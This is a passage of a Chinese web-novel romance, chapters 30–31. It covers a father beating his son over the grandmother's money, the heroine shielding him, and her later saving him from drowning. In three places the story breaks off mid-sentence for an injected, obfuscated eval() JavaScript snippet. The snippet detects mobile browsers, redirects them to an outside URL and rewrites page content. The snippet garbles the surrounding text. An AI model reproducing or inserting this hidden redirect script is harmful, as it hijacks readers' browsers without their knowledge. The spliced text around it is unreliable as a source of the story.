怎么可能,她怎么可能喜欢轻易夺走她初吻的狗东西! 驰路摇了摇脑袋,将这个念头甩了出去,拿了一条绸缎吊带睡裙洗了个澡,刚出来便看到堵在门口的谢劲舟,吓了她一跳。 她的脑袋上还盖着毛巾,头发乱糟糟的,有几绺胡乱地挡在脸上,绸缎裙格外丝滑,一边的带子悄无声息地落下,让她有一种凌乱的美感。 当然,在驰路看到谢劲舟时,第一反应是惊吓,第二反应是,我怎么能以这幅模样面对他? 她在他面前,应该是好看的、精致的,哪能这副糟糕样。 驰路连忙把毛巾从脑袋上拿下来,将盖在脸上的头发撩到两侧,用那双浸润了水雾的细长狐狸眼看他:“谢劲舟,你不好好休息,堵这儿干吗?” 谢劲舟单手撑在门框上,垂眸看她:“我饿了。” “你饿了,自己不会去做饭?”驰路觉得搞笑,哂笑道,“你断的是腿,不是手。” “没法下楼,也没法长时间站着。”谢劲舟余光瞥见她肩头滑落的肩带,挂在胳膊上摇摇欲坠,露出好看的锁骨、胸前大片白皙的肌肤,他的喉结不由得上下滚动了几下,拎着滑落的肩带,帮她拉到肩头,靠近她眼前,声音磁沉,“阿驰,你忍心让我挨饿?” 这是一次温柔的进攻,没有野兽捕猎时的凶猛,这头野兽收起了利爪和獠牙,展示他温和的一面,让驰路有些无法招架。 驰路感到他灼热的气息,一阵热风似的扑过来,脸不禁微微泛红:“那你先去洗澡吧,一身汗味。” 她不知道谢劲舟是怎么带伤洗澡的,等她煮好面端上来时,一开门便看到换了背心、短裤的谢劲舟,正趴在桌上睡觉,他似乎没有听到动静,依旧一动不动地趴着。 驰路轻手轻脚地走过去,将碗放在桌上,并没有立刻叫醒他,而是蹲下来看着谢劲舟,他的眼皮很薄,睫毛很长,左嘴唇旁边的那颗痣很性感。 她之前翻学校贴吧时,看到有女生说:“谢劲舟嘴角的那颗痣,简直是神来之笔,性感得要命!” 她想悄悄地去摸下这颗痣,却不想刚伸出手,便被他抓住了,眸子犀利,透出警惕和防备,见是驰路,才放松下来,压着声音说:“你要干吗?” “我……没干吗啊!”驰路有些心虚,“就……喊你起来吃面。” 谢劲舟坐了起来,看着桌上摆的面:“能吃吗?” “吃了不就知道了。”驰路说,“不会以为我什么都不会做吧?” 高二下学期独自在外面租房那段时间,驰路学会了自力更生,洗衣做饭都学会了。 谢劲舟端起面,挑了一筷子吃。 驰路说:“是不是好吃到爆?” 谢劲舟皱了皱眉:“不好吃。” “……”驰路作势就要把碗拿过来,“你爱吃不吃!” 谢劲舟一把抓住她的手腕:“阿驰,你还当真了。” “什么当真?” “你就这么不相信自己的手艺?”谢劲舟盯着她的眼睛,“挺不错。” 驰路先是一愣,转而哼笑一声,抬手捶了下谢劲舟的胳膊:“谢劲舟,玩我很有意思?” “主人总要逗逗小猫,要不然,小猫多无聊。” “……”驰路看着他虎口处,除了一道伤痕,还有她留下的牙印。 谢劲舟翻到最下面,看到下面卧了两颗鸡蛋,还有切成厚薄一致的火腿肠片,藏在下面的秘密比浮在上面的更诱人。 谢劲舟喝完最后一口汤,放下碗筷,跟驰路说:“这是我吃过的最好吃的面。” * 驰路这次没立刻赶人,见谢劲舟脸上的汗消失后才说:“谢劲舟,你该回去了。” 谢劲舟站起来,抬手。 “干吗?” “扶我。” 驰路刚想去扶他,想到他胳膊上、后背上的伤还没处理,把他又按回桌前:“等会儿再走。” “舍不得?” “谁舍不得!”驰路拿了擦伤的药,给他右胳膊肘抹药,“洗澡时疼吧。” “还好。”擦伤在谢劲舟看来,是可以忽略不计的,他经历过很多伤,都远远超过擦伤。 驰路绕到他身后,刚要掀起他的黑心背心时,手忽然停下,她想起了在那个小小的逼仄的房间里,她帮他脱车服时的场景,充满剧烈荷尔蒙的气息仿佛再次重现,只是这次他的身上少了汗味,没了烟味,多了皂香。 谢劲舟以为小姑娘不好意思,干脆直接把上衣脱了。 驰路再次看到了他的后背,看到了他后背上蜿蜒纵横的伤痕,还有新添的擦伤,心头忽然一痛。 她没有立刻上药,而是抬手抚上那些旧伤痕,每次碰触力道都极轻,生怕弄疼他。 如果他没有生在这样的家庭,是不是就可以拥有一具完美的身体? 他的残破,像是岁月留下的哀歌,时时提醒别人,他破碎了,再破碎一点也没关系。 但驰路知道,破碎的人,也是希望有人能将自己拼凑完整的,哪怕不完美,也不要四零八落。 谢劲舟见驰路许久没有动静,刚想转头去看她,背后却忽然一重,小姑娘的脑袋沉沉地靠在他的后背上,听到她的烟嗓发出沉闷的声音:“舟哥,以后不要再受伤了,好不好?” “心疼舟哥了?” “你知不知道,这些伤痕有多难看。” 谢劲舟将自己最不堪的一面展示给她看,听到她如实说出这样的话,心里很不爽,想站起来,忽然一滴滚烫的液体,滴落在他的后背,他的身体瞬间僵住了,想开口的话止住。 随之,又是一滴,明明那么轻,却像豆大的雨点般砸进他的心里。 谢劲舟沉声问:“阿驰,你哭了?” 驰路知道自己不该这样,不该把对他的心疼表现出来。 她直起身子,一把抹掉眼泪,吸了吸鼻子说:“谁哭啊。” 谢劲舟一转头,便看到了脸上还残留泪痕的小姑娘,抬手,食指指腹轻轻碰到那滴泪水,一点点,温热的,烫手的,从她的脸颊到他的指腹。 她垂着脑袋,不想让他看到自己这副模样。 谢劲舟却挑起她的下巴,看到她那双被泪水浸润过的眼睛,很亮,里面像住了无数星子。 他锁住她的眼眸:“阿驰,舟哥不能跟你保证以后不受伤,但我会让自己尽量少受伤,你别伤心了,也别哭了,好不好?” 难得征询的口吻,含着温柔。 驰路差点不敢相信自己的耳朵,芳町镇大佬会用这样的语气跟自己说话? 她瞥向一旁的眼睛,终于移向他,看到了他眼里的柔和。 两人都沉默地看着彼此,交汇的视线里似有什么在悄然萌芽。 驰路拿起他的手,看着他指腹残存的一点湿润,情不自禁地低头吻掉,再抬头看他,应了声“好”。 那时的氛围刚刚好,她这个信徒,毫无顾忌地奔向她唯一的神明。 * 月色迷离,如微醺红酒,洒进房间。 谢劲舟正深陷梦中,梦里有个狐狸眼的小姑娘拿着他的食指,一下一下地亲着,看他的眼睛风情万种,狐狸般勾人。 他一把抱住小姑娘,从她的右眼尾那颗胭脂痣到她的眼睛,再到她的嘴唇,一一亲遍。 小姑娘配合得很,贴身迎合,两人的气息交融,宛若缠绕在一起的雾气,最后混成一团,不分你我。 他满身燥热,迷迷糊糊间想要把她整个人抱起来,却发现抱的这个人,是那么真实,手下是绸缎光滑的质感、细腻的肌肤。 谢劲舟猛然惊醒,睁眼看,怀里真有一个小姑娘,跟梦里的人长一样,都有一双勾人的狐狸眼,右眼尾也有一颗胭脂痣。 她又梦游了? 偏偏还在他想跟梦里的人发生点什么的时候,她来得太是时候,还是太不是时候? 小姑娘好像没有安全感,紧紧地依偎着他,身体贴着他,凉凉的,却没能给他的身体降温,反而让他的身体升温。 他听到小姑娘说:“谢劲舟,你还我初吻!” 语气愤愤然,眉头微微蹙着,仿佛受了天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560746|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的委屈。 谢劲舟忽然笑了,看着她唇线清晰的饱满嘴唇,记忆中疯狂攫取的滋味还在,她的唇那么柔软好亲。 他好想把梦里的场景再重复一遍,但最后,他只是抬手朝她的唇轻轻摸去,落在她的唇珠上,沿着她的唇细细描绘了一番。 “阿驰,别急,总有一天,老子会还你初吻!” * 翌日中午,驰路看到满身酒气的谢鸿运,从房间里摇摇晃晃地走出来,头发乱得像鸡窝,眯着眼睛看桌上有没有吃的,掀开罩子,嗤之以鼻道:“都是些什么吃的,喂狗的吗。” 话很难听,驰路本想怼他几句,但寄住在他家,他又是长辈,她就选择了忍。 但有人不会忍,扶着墙下楼的谢劲舟出言不逊:“哪只野狗在乱咬人。” 谢鸿运本来就没醒酒,听到有人这样说话,心中顿时来火,看到穿着短裤、打着石膏的谢劲舟非但没关心他,嘲讽他:“哟,这腿怎么还在啊!” 驰路这些天见到谢鸿运的时候不多,也不知道他去了哪里、住在哪里,她不关心这些,反而希望他能少回来就少回来,一回来,他跟谢劲舟铁定会吵架。 她并不想听到两人吵,他俩一吵架,原本看似平静的家,就像投了一枚炸弹,炸得到处都是残骸。 谢劲舟走到谢鸿运身前:“谢鸿运,你想赌那是你的事,但你怎么还有脸问奶奶要钱!” 谢鸿运睁着布满血丝的眼睛看谢劲舟:“谢劲舟,你小子少管老子的事,老子想问谁要钱就问谁要钱。” 谢劲舟想要走向谢鸿运的房间,但腿一点都不利索,单脚跳着,这时,驰路给他递过来一根拐杖。 谢劲舟愣了下,她什么时候买的?现在不是想这个的时候,他接过拐杖,撑着快速走到谢鸿运的房间。 驰路听到一阵翻箱倒柜的声音,又听到有东西掉落在地上的声音。 她看着谢鸿运急忙跑进房,一把将谢劲舟推开,骂骂咧咧道:“谢劲舟,你找什么?” “把奶奶的钱交出来!” “你给老子滚!”谢鸿运见谢劲舟还想往床边走,立刻又将他重重地往后推去。 驰路听到了谢劲舟身体撞上柜子发出的沉闷声响,像是重物砸在她心上,她连忙跑进房间,看到了蹙着眉的谢劲舟。 他的背本来就擦伤了,这重重的一撞,简直雪上加霜。 驰路走到谢劲舟身边:“舟哥,我们走吧。” “你别待在这儿。”谢劲舟把驰路往外推,推出门,想要关上门时,驰路却用手挡住,目光坚定地看他:“舟哥,我想陪着你。” 她看到谢劲舟眼神里有片刻的迟疑,趁着这间隙,她很快又钻进房间里。 她不想让谢劲舟跟谢鸿运独处,她怕他们之间再拳脚相向。 有她在,谢鸿运总归会收敛点。 谢劲舟径自走到床边,把凉席掀开,灰尘飞扬,木板屑子乱飞,随之飞起的还有一张张红色钞票。 谢鸿运昨晚好不容易赢了把,刚把钱藏凉席下,就被谢劲舟翻出来,他在谢劲舟想拿时,连忙扑过去,用整个身子把钱护住,护住前狠狠地将谢劲舟猛地推开。 这次,谢劲舟没有撞在柜子上,而是撞在了一个柔软的身体上。 驰路当了他的人体肉垫,撞得她前胸后背都生生的疼。 “驰路!”谢劲舟转头看驰路,“出去!” 驰路吃痛的表情顿时消失,挤出一丝笑:“舟哥,我没事。” 谢劲舟还没来得及提着驰路出去,看到谢鸿运拿着钱就往兜里揣,匆忙赶上前,从他手里夺钱。 谁都不让,两人手中的钱一分为二,气得谢鸿运红了眼,拿起掉在地上的拐杖就往谢劲舟身上打。 驰路疾步上前,抓住谢鸿运手中的拐杖,软言软语道:“叔叔,打人是不对的。” “驰路,我家的事你别管!”谢鸿运用力甩开驰路,在拐杖落在谢劲舟身上时,驰路看到谢劲舟抓住拐杖,想夺走。 但谢鸿运借着酒劲儿,使了蛮力,又使了小手段,抬腿踹他打着石膏的伤腿,狠狠地踹了几下,拿着拐杖狠狠地朝他的身上打去。 谢劲舟被他踹得站不住,踉踉跄跄地往后退,想要抓住拐杖时已来不及,眼见拐杖要砸在身上,身前却忽然闪过来一道身影,挡在了他面前。 “砰”,一记重重的声音响彻房间。 30. 小蝴蝶替舟爷挨打 「这世上最不能替别人探路的,便是苦难。 我是罪人,活该下地狱,活该承受一切风暴。」 ——《不夜港》 谢鸿运下手很重,驰路穿着酒红色背心,胳膊全露在外面,左胳膊上的红印子越来越深,越来越刺目,疼得她微微蜷缩起身体。 身后的谢劲舟看到了她胳膊上的红痕,心中怒火中烧,完全不顾腿伤,忍痛将驰路推到门外,根本不听她再说什么,猛地关上门,又锁上。 驰路忽然慌了,从来没像这次一样。 之前谢劲舟没少跟谢鸿运起过争执,但这次不一样,他腿受伤了,谢鸿运又在酒劲儿上,他发起疯来不知道会把谢劲舟打成什么样。 她想起了他身上的伤痕,她不希望他再受一点伤害,不希望他的身上再添一道伤疤。 他已经破碎得不成样了,她不要他再破碎下去! 驰路一下一下地敲着门:“谢劲舟,你开门!” 门板被砸得哐当哐当响,里面响起扭打在一起的声音,也响起谢鸿运的声音:“谢劲舟,你是不是一直恨我?你恨我,有本事就打死我啊!” “谢鸿运,你在外面哪怕被人打死了,我不管。但我告诉你,你别动奶奶的钱!她是怎么攒的,你不知道吗!” 驰路看过谢奶奶摆摊卖小孩子鞋子、帽子、袜子,夏天炎热,芳町镇又干燥,就算在家里待着都能热得冒火,更何况在烈阳下。 她劝过谢奶奶,让她不要摆摊了,一天下来有时一毛钱都赚不到,有时也就只赚几十元。 她那会儿口袋里还有钱,想塞给谢奶奶一千元,但谢奶奶一分钱都没要,告诉她:“阿驰,人活着啊,别人给的,总有一天会被拿走,只有自己给自己的,是任何人都拿不走的。” 谢奶奶有骨气,没要她一分钱,却把自己的皮肤晒得更黑了,有的地方都晒爆了皮。 她给谢奶奶买了芦荟胶,给她抹脸时,谢奶奶说:“阿驰,你这孩子真懂事。” 驰路比谁都知道,她的懂事,源于谢奶奶待她如亲人。 谢鸿运问谢奶奶要钱,实属不该,那些都是谢奶奶的血汗钱。 看谢劲舟今天对谢鸿运的阵仗,估计谢鸿运要谢奶奶的钱也不是一次两次了。 门内,除了扭打声,还传来东西砸下来的声音,先是闷闷的,再是清脆落地声。 驰路听得心惊,拍门声越来越响,这声响把在楼上玩的谢林乔吵到了,她蹬蹬蹬地跑下楼,看到驰路正焦急地拍着门。 谢林乔走到门边,听到了里面的声音,身体僵了一下。 这是她常听到的吵架场景,哥哥为了不想让他看到,总喜欢把门关上,告诉她“小孩子不要插手大人的事”。 她好希望快点长大,长得跟哥哥一样大,那样哥哥就会多一个帮手,每次都打败她那个不像爸爸的爸爸。 谢林乔知道拍门没用,她跟驰路说:“阿驰姐姐,别拍了,没用。” 驰路不听,仍旧拍着,拍得手心一片红,疼意蔓延,可她完全不顾,那些沉闷的声音是落在谁身上的声音,是落在谢劲舟身上的吗?她不要谢劲舟受伤! 驰路边拍门边大声说:“谢劲舟,你开门,开门!” 可没有人来开门,她近乎绝望地倚靠在门上,不再拍门了,听到谢鸿运说:“老子就问你奶奶要钱了,怎么了!” “还回来!你把从奶奶那儿拿的钱都还回来!” “做梦!” 又是一阵噼里啪啦的声音。 驰路听到了谢鸿运的哀号,是谢劲舟占上风了吗? 她紧绷的神经这才稍稍松下来。 “老子跟你说,你恨我恨错人了,你要恨就恨你自己,如果不是你,你妈会死吗?你妈就是你害死的!你才是该死的那个人!你怎么不去死!” 噼里啪啦声忽然消失了,里面没了动静,四周的空气似乎凝滞。 许久,驰路才听到一下下沉闷的声音,却没有一丝人声。 是什么声音? “哥哥!哥哥!”谢林乔发现了不对,拍起门来。 驰路也听出了不对劲,使劲拍门:“叔叔,开门!叔叔,别打了!” 沉闷声并没有停止,半晌,驰路听到谢鸿运说:“看老子今天不打死你!” 谢林乔害怕起来,揪着驰路的衣摆,哭着说:“阿驰姐姐,哥哥会不会被打死?” * 驰路不知道门是过了多久开的,但她觉得时间过得格外慢,慢得仿佛永无尽头。 等门打开时,驰路看到了满头是血的谢鸿运,额头上、鼻子上的血还在往外冒,他手里紧紧地拽着钱,钱被染成了血红色,他的模样看起来格外可怖。 谢鸿运看起来被打得很惨,他拖着那条坡腿一瘸一拐地走了出去。 走的时候,重重地推了把哭泣的谢林乔。 谢林乔趔趄着往后退了好几步,差点摔倒,被驰路及时拽住。 谢林乔愤怒地看着谢鸿运,冲上去抬脚用力朝谢鸿运坡腿踢了下。 谢鸿运被踢疼了,神色发怒,转身拎起谢林乔,作势就要往墙上甩。 驰路连忙从他手里抱住谢林乔,见谢鸿运疯癫样,只好佯装乖巧:“叔叔,小乔还是孩子,一时冲动,您能不能别跟小孩子计较?” 驰路的眼里满是乞求,见谢鸿运仍旧不松手,语气低了几分:“叔叔,求您了!” 她可以跟谢鸿运来硬的,但她知道不行,一旦撕破脸,她大概不能再在这个家待下去了。 谢鸿运什么样的事都能做出来,对他儿子都能下重手,对她呢,分分钟都能把她赶走。 驰路的服软让谢鸿运松开了手,他把染着血的钱塞到口袋里,一身酒气地往前走,嘴里还在哼着小曲,仿佛刚才的那场战役里没有他。 谢劲舟怎么样了,有事吗? 驰路将谢林乔放下来,立刻朝房间里看,看到眼前一幕时,登时怔住。 谢劲舟垂着脑袋,靠坐在床边,两条胳膊上全是红色伤痕,一道道,触目惊心。 他像一株将死的植物瘫坐在那里,一动也不动,毫无生气。 驰路从没见过这样的谢劲舟,在她心里,他是不羁的、疯狂的、狠戾的,是高山崖边的一株树,谁都攀不上去,谁也够不着。 他以一种傲然天地的姿态活着,从不低头,从不妥协,更不会把自己脆弱的一面展示给任何人。 可现在的他呢?以摧枯拉朽的速度被风暴狠狠碾碎,每根骨头似乎都被打断,浑身傲气尽失,唯剩颓然。 驰路感到自己的身体止不不住地颤抖着,仿佛被人拽入黑暗中,四处都是墙,她怎么也无法逃出去。 “哥哥,哥哥!”谢林乔跑了进去,一把抱住谢劲舟,但他依然没动,仿佛外界的一切都与他无关。 谢劲舟,你怎么了? 一股巨大的惶恐将驰路包围,她缓慢地朝他走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560747|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,走到他身边,将他跟谢林乔都抱在怀里,颤着声音说:“舟哥,很疼吧,疼就哭出来。” 身体的伤痛对他来说不算什么,这已经不是第一次承受,他已经承受过无数次,习以为常。 然而,谢鸿运的那些话却如针刺般狠狠地刺中他的软肋。 他是罪人,从老妈去世那天开始。 他该死,他不该活在这个世上,但他又要活着,这世上还有奶奶、小乔。 现在又多了一个人。 他还不能死。 驰路感到手背上有一丝温热,沿着手背滑落。 她心里一痛,将谢劲舟抱得更紧。 如果可以,她想把他带走,带去世界的任何地方,只要不是这里。 他在芳町镇,迟早都要烂死。 * 那天,没等驰路帮谢劲舟处理伤口,他就走了。 她不知道他去了哪里,给他发信息不回,打电话也不接,最后打到他关机。 其实,她并不是喜欢给人打几十通电话的人,甚至讨厌这样的行为,但为了谢奶奶、谢林乔,她要这么做。 直到第二天早上,谢奶奶跟驰路说:“阿驰,不用给小谢打电话了,他给我发信息了,这些天都不回来,在朋友家住段时间。他说,不想再见到老谢,不想再跟他打架。” 驰路猜测,这不是真实原因,真实原因是谢鸿运的那些话刺痛了他,他想找个地方躲起来。 他会躲在哪里,又会躲多久? 忽然想见他了,看看他的伤势如何,有没有按时抹药,有没有按时吃饭,有没有对自己好一点。 * 周一早读课,老马拿着一张表格兴致冲冲地来到了高三七班。 驰路那会儿还在心不在焉地背英语单词,余光看着后排右侧靠墙的那个位置,空荡荡的,谢劲舟没来。 老马让大家安静下来后,春风满面地跟大家说:“这次开学摸底考,我们班出了两个年级前十。知道是谁吗?” 高三七班大多是学渣级别的,对自己的成绩不太在意,对别人的成绩更是漠不关心,娱乐休闲区、养老区的学生们纷纷摇头。 老马眉开眼笑道:“我直接公布答案吧,一个是江迟,班级第一,一个是驰路,班级第二,两人的总分排名是年级前十。” 驰路不知道老马为什么要如此开心,但其他同学知道,这是老马第一次获得如此殊荣,之前班上哪有一个同学的总分成绩能排上年级前十,这次好了,一下两个,给他添了多少荣光。 驰路拿到成绩单时,看到了总分690,比她上学期期末考的分数还要高几分,看来前段时间的复习、刷题没白费。 她向左边一瞥,看到江迟成绩单上的总分702,学霸就是学霸,在哪儿都能绽放光芒。 早读课后,老马按照之前定的规则,让学生们按照分数从高到低的顺序自主选座位。 江迟第一个选,选了之前罗子昂前面的座位。 驰路第二个选,选了之前谢劲舟前面的座位。 这次重新选座位,江迟成了驰路的同桌,岑语欢成了江迟的前桌,许婉成了驰路的前桌,罗子昂成了江迟的后桌,驰路的后面没人选,座位依旧空荡荡。 之前,驰路从罗子昂那儿得知,不管换多少次座位,谢劲舟的位置没人敢碰,最后排右侧靠墙的位置,是属于谢劲舟的。 她要坐在离谢劲舟最近的地方,等他归来。 31. 舟爷溺水 「我曾荒唐地理解死亡,不过是肉/体的解脱。 我错了,死亡是活着的对立面,应当遵循生命本身而存在。 我们就带着这副轻盈又沉重的躯体,好好活下去吧,Z。」 ——《小蝴蝶的盛夏》 这一等等了快三周,驰路才得知谢劲舟的消息,是罗子昂跑过来火急火燎告诉她的:“驰妹,你去看看舟爷吧,再不看,他就要抑郁而亡了!” 驰路只见过躁期的谢劲舟,发起狂来像只要吃人的野兽,却没有见过郁期的谢劲舟。 当她来到罗子昂告诉她的地方时,是一座偏远的山,山上满是树。 这座山并不是景区,没有台阶,只得踩着石头小路往上爬。 驰路沿着被人踩过的地方往上爬,爬到半山腰,来到一个杂草丛生的湖边,离湖不远处有一座小木屋。 木屋上爬满了绿色藤蔓、牵牛花,远远望去,在绿色草丛间,像极了一幅美得不像话的油画。 木屋门没关,虚掩着。 门上挂着一个木制牌子,刻着四个字:静心小屋。 她走到门边,没听到里面有动静,推门而入。 推门时,木牌便左右晃动几下,撞击在门上,发出沉闷的响声。 驰路走进去,里面没人,但地上、桌上、沙发上满是东倒西歪的空酒瓶,桌上还有没有扔掉的泡面盒子、纸巾、烟蒂。 这儿一片狼藉,可见主人这些天过着怎样昏天暗地的日子。 她默默地把狼藉处打扫干净,把垃圾都扔到一个大的黑色垃圾袋里,想出去找个地方扔掉,走了好一会儿也没能看到有垃圾桶。 她干脆沿着河岸走,这儿风景秀丽,湖面在阳光下泛着潋滟的波光,花草遍地,散发出阵阵清香。 像一片世外桃源,寂静到只听到鸟鸣和蝉声。 她看到前方有一个水泥砌成的矮围墙,留了一处空,依稀能看到里面露出一角黑色。 那儿是专门放垃圾的? 她正要继续往前走,忽然听到几下扑腾声,是某只水生动物吧。 驰路并未在意,直到扑腾声又响起,噗噗噗,大力的。 她这才朝水声的地方看去,看到湖面溅起水花,湖面起伏间,隐约可见露出的膝盖,还有一抹浮出水面的雾霾蓝。 那是…… “谢劲舟!”驰路朝湖面大喊,“谢劲舟!” 没有任何回应,湖面的水花褪去,只剩下漾开的一圈圈波纹,很快恢复平静。 驰路连忙放下手中的袋子,脱了铆钉靴,急忙跳进湖里。 她奋力地朝湖心游去,几乎用了她此生最快的速度,像一尾被鲨鱼追杀的小鱼儿。 潜入湖面以下,驰路屏住呼吸,去探寻谢劲舟的身影。 这片水域水草丛生,挡住她的视线,她拨开水草,朝前游去。 在水下,完全没有方向,她穿越水草,来回寻找,却没能找到谢劲舟。 难道刚才看到的是一场幻觉? 谢劲舟并不在这里? 不,万一他在呢! 驰路憋得快无法呼吸,探出湖面,大口大口地换了气,又迅速潜入水下,手臂忽然探到什么,用力抓住,是手腕。 终于找到他了! 谢劲舟,你挺住,我来了! 驰路快速游到谢劲舟身旁,发现他一动不动地沉在湖底,面色苍白。 她的心猛然一跳,像被利器凿穿。 一种不妙的感觉油然而生。 她又慌又急地想把谢劲舟往上拽,把他拽出了湖面,却无法继续前移。 难道被什么缠住了? 驰路不得不再次潜入湖中,发现他的右脚踝被一丛水草紧紧缠绕。 她用力去扯水草,缠得太紧,她使劲用手扯,扯得手心被勒出一道道红色的痕,全然不顾。 水草终于被扯开,湖水中散开一条条红色液体,鲜艳又醒目,像一条条红色绸带,蜿蜒开。 驰路不顾手心的疼痛,搂住谢劲舟的腰,带着他一起游向岸边。 “谢劲舟,谢劲舟……”驰路边游边喊着谢劲舟的名字,可是,回应她的只有鸟鸣和蝉声。 她忽然怕了,怕得身体颤抖着,却要逼着自己镇定下来。 费了好大一番力,驰路才把谢劲舟挪到岸边。 躺在绿色草地上的谢劲舟,一动不动,面色白得吓人,毫无血色。 驰路颤抖着手朝他的鼻端探去,不过几秒,却好似过了无数个春秋。 没有气息! 她的心骤然被人拽住,死死地拽住,像沉入无尽深渊。 不可能,怎么可能! 她又探上去,这次没移开,须臾,热气扑到她的手指间。 她这才松了口气,喊谢劲舟的名字,却得不到任何回应。 在之前的学校里,驰路学过关于溺水者的急救措施。 她迅速地将双手交叠,十指相扣,按压谢劲舟的胸口三十次,再抬手捏住他的鼻子,正打算给他做人工呼吸时,忽然停住。 驰路从没给任何人做过人工呼吸,之前安然还问她:“你遇到需要急救的人,会给他做人工呼吸吗?” 当时,驰路毫不犹豫地说:“我给别人做人工呼吸?不可能!” 现在呢?情况危急,她要不要给谢劲舟做人工呼吸? 要是被他知道,自己竟然对他做人工呼吸,会不会把她掐死? 算了,她顾不了太多了,救人要紧。 驰路俯身靠近谢劲舟,张大嘴巴,将他的嘴唇完全包住,给他输了一口气,余光看到他的胸腔起伏了下,她移开,再给他输了口气。 做完人工呼吸,谢劲舟依然没有转醒的迹象,驰路继续给他做心肺复苏和人工呼吸。 循环往复做了四个来回,驰路已经消耗了很大的体力,但谢劲舟还没醒,她急得满头大汗,汗水从她的额头滴到谢劲舟的黑色上衣上。 她边用力继续在他的胸膛上按压边骂: “谢劲舟,你这个浑蛋,给我快醒过来!” “谢劲舟,你舍得放下谢奶奶、小乔?” “谢劲舟,你不是说要做我的神明,要做我的救世主的吗?” “谢劲舟……我不想一个人。” 我不想一个人,我想,我的世界,有你。 “谢劲舟,你给我快醒过来!” 驰路喊得嗓子发哑,右手心里的血越流越多,手心越来越疼,血染上了谢劲舟的黑色T恤,留下纵横的深色。 她却丝毫感觉不到手心的疼痛,只觉得心脏疼得厉害,刀割般,被划了一刀又一刀,往下滴血。 这样的感觉,许久没有过,上次体会到还是奶奶去世。 驰路不知道自己到底有没有按到三十下,低头去给他做人工呼吸,刚呼进去一口气,要移开时,她的唇却被人紧紧吸住,像八爪鱼的吸盘,紧紧地吸住她,让她无法动弹。 他醒了? 驰路愣怔住,侧头去看谢劲舟,发现他没睁眼,却碾着她的唇,一下一下地磨着。 他在做什么? 驰路百感交集,用力将他推开,看到此刻的谢劲舟睁了眼,正用他那双凌厉又深邃的眼眸看她。 眸子里,似有笑意闪过。 驰路见他这副模样,气得不行,狠狠捶了下他的胸膛:“谢劲舟,你什么时候醒的?” “驰路,你就这么热衷于吻我?”谢劲舟吊儿郎当地看她,双手撑地,凑近驰路,几乎要贴到她的脸上,两人的鼻息互相交融,分不清谁是谁的。 * 谢劲舟看着驰路的眼睛,发现她的眼睛很亮、很黑,宛若刚下过雨的天空,纯澈明亮。 她浑身湿漉漉的,刘海粘在前额,脸颊上满是泪水,可怜兮兮的,像只被人遗弃的小野猫。 其实,在她第一次给他做完心肺复苏、人工呼吸时,他便悠悠转醒了。 但他不想醒来,偏要看看这个小姑娘能坚持到多久,没想到她能坚持四个循环。 他本不想醒,还想捉弄她一番,却被她的那四句话弄得心里不是滋味。 脸上滴落的温热,像锥子般,戳着他的心。 他知道,她哭了。 他的感情一向淡漠,能给予的除了给奶奶、小乔,还有几个要好的哥们,其他的也就没了。 谢劲舟不明白,为什么她一哭,他就烦得不行。 他没法让自己心如止水。 她像闯入他世界的一只蝴蝶,他看着她飞呀飞,突然翅膀断了,他想帮她修补翅膀。 这只蝴蝶给他输入的每口气,都似烙铁,熨烫他冰凉的身体,凝固的血液好像瞬间奔腾。 虽然他谈过不少女朋友,但谁都不知道,他的初吻还在。 上次在浩哥赛车场的储物间里,他堵住她的唇,得知是她的初吻,何尝不是他的。 当她的唇再次贴近他时,他原本停止跳动的心脏,猛然跳动,可她却没有发现。 谢劲舟故意让心脏跳得缓下来,缓慢得不会被她发觉。 他有些贪恋,贪恋她在乎自己的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560748|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了奶奶、小乔外,这世上,又多了一个在乎他的人。 这样的感觉,像雨过天晴后,天空中绽放的绚丽彩虹。 他希望,彩虹停留的时间,可以久一点。 谢劲舟看着她脸上珍珠般的泪水,再凑近一点,一一吻尽,每一下都吻得那么用力,仿佛要亲干净才罢休。 驰路没想到这人醒来的第一件事,竟然是占自己便宜,怒火中烧。 她想推开他,他却牢牢箍住她的后脑勺,更加用力地吻她。 最后吻到她右眼尾的那颗胭脂痣,有微微的凸起,还有暖暖的热泪,却像朝他泼了一大盆寒冰。 他不要她哭。 蝴蝶不应该破碎,应该永远向阳。 驰路拼劲全力,抬手狠狠推开他:“谢劲舟,你在做什么?你就是这样对待你的救命恩人的?” “我在还你。”谢劲舟神色很淡很浅,但仔细去看,会看到他眼眸里隐忍的感伤,像蒙了一层雾。 “还什么?” “还你的吻。”谢劲舟不怒反笑,舔了舔残留在唇边的泪水,咸咸的,“你不是不喜欢别人欠你的吗,老子也不喜欢!” 